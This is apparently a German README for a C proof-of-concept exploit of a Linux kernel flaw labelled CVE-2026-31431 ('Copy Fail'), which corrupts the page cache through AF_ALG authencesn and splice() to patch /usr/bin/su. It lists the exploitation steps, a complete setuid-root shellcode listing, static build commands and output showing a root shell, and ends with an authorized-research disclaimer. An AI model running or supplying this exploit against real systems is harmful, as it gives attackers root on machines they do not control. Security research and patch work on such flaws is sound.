
# CVE-2026-31431 (Copy Fail) PoC – Linux-Kernel-Page-Cache-Korruption über authencesn AF_ALG + splice()
Lokaler Privilege-Escalation-Exploit für CVE-2026-31431 (Copy Fail), geschrieben in C.
/usr/bin/su und übersetzt sie über PT_LOAD-Programmheader in einen Datei-Offsetauthesn(hmac(sha256),cbc(aes)) mit einem Null-Schlüsselsendmsg() sendet AAD mit den Shellcode-Bytes als seqno_lo (Bytes 4–7), mit MSG_MOREsplice() liefert 32 Bytes der Page-Cache-Seiten der Zieldatei als AEAD-Authentifizierungstagrecv() löst die Entschlüsselung aus; der Scratch-Schreibvorgang von authesn landet in den verketteten Page-Cache-Seiten und schreibt 4 kontrollierte Bytes.execl("/usr/bin/su") lädt den korrumpierten Page-Cache. Der 40-Byte-Shellcode (setuid(0) + execve("/bin/sh")) wird mit setuid-root ausgeführtxor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; null terminator
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; filename
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
Erfordert musl-gcc oder einen beliebigen C-Compiler mit Unterstützung für statisches Linken:
musl-gcc -static -O2 -s -o copyfail exploit.c
Alternativ mit GCC + glibc:
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
Dieser Proof-of-Concept wird ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bereitgestellt. Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal.